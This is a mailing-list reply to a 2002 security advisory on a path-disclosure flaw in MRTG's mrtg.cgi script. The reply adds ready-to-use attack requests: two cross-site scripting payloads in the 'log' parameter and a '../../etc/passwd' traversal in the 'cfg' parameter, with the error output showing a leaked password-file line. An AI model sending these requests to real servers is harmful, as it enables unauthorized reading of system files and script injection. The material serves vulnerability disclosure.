Re: Mrtg Path Disclosure Vulnerability

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/mrtg.cgi?log=<script>alert('CSS')</script>

/mrtg.cgi?log=<script>alert('Cross Site Scripting')</script>

/mrtg.cgi?cfg=../../etc/passwd :

------------------- mrtg.cgi error ------------------------

Software error:
ERROR: CFG Error Unknown Option "root:PASS:0:0:root:/root" on line 2 or 
above. Check doc/reference.txt for Help

------------------- mrtg.cgi error ------------------------


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>Mrtg Path Disclosure Vulnerability
>
>Type:
>Input Validation Error
>
>Release Date:
>February 4, 2002
>
>Product / Vendor:
>The Multi Router Traffic Grapher (Mrtg) is a tool to monitor the
>traffic load on network-links. Mrtg generates html pages containing
>gif images which provide a live visual representation of this
>traffic.
>
>http://www.mrtg.org
>
>Summary:
>If an attacker submits a web request containing unexpected arguments
>for script variables, an error message will be displayed containing
>the path to the webroot directory of the server running the Mrtg cgi
>script.
>
>http://host/mrtg.cgi?cfg=blabla
>
>Tested:
>Mrtg v2.090011
>Mrtg v2.090006
>
>Vulnerable:
>Mrtg v2.090011
>Mrtg v2.090006
>
>And may be other.
>
>Disclaimer:
>http://www.securityoffice.net is not responsible for the misuse or
>illegal use of any of the information and/or the software listed on
>this security advisory.
>
>Author:
>Tamer Sahin
>ts@securityoffice.net
>http://www.securityoffice.net
>
>Tamer Sahin
>http://www.securityoffice.net
>PGP Key ID: 0x2B5EDCB0 Fingerprint:
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